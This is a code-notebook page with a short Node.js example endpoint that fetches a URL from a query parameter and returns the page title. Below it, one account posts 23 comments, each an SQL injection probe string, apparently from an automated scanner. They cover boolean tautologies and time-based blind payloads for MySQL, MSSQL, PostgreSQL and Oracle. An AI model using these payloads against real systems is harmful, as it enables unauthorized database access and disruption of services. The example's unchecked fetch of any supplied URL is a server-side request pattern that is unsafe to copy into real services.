JSON Endpoint Example 1

node v4.9.1
version: 1.0.0
endpointsharetweet
Send a request to a URL like https://tonicdev.io/tonic/json-endpoint-example-1/branches/master?url=http://google.com, get back the title of the page in the url query parameter.
var endpoint = require("notebook")("tonic/json-endpoint/1.0.0") var requestPromise = require("request-promise") var cheerio = require("cheerio") endpoint(module.exports, async function(request) { try { var html = await requestPromise(request.query.url) var page = cheerio.load(html) } catch(e) { return {error: "could not retrieve page"} } return { title: page("title").text() || "no title" } })
Because we're using async/await, we're automatically returning a Promise. You can always explicitly return a promise too.
Loading…

23 comments

  • posted a day ago by xsjybldb
    -1 OR 2+423-423-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1 OR 2+204-204-1=0+0+0+1
  • posted a day ago by xsjybldb
    -1' OR 2+955-955-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1' OR 2+178-178-1=0+0+0+1 or 'V7EMALKy'='
  • posted a day ago by xsjybldb
    -1" OR 2+455-455-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a day ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a day ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a day ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a day ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    VDjGegR6'; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -5 OR 82=(SELECT 82 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -5) OR 564=(SELECT 564 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -1)) OR 143=(SELECT 143 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    9Y4Ptd2u' OR 203=(SELECT 203 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    EbmMyHZ9') OR 181=(SELECT 181 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    52ce5uss')) OR 676=(SELECT 676 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a day ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a day ago by xsjybldb
    1'"
  • posted a day ago by xsjybldb
    @@ss6rv

sign in to comment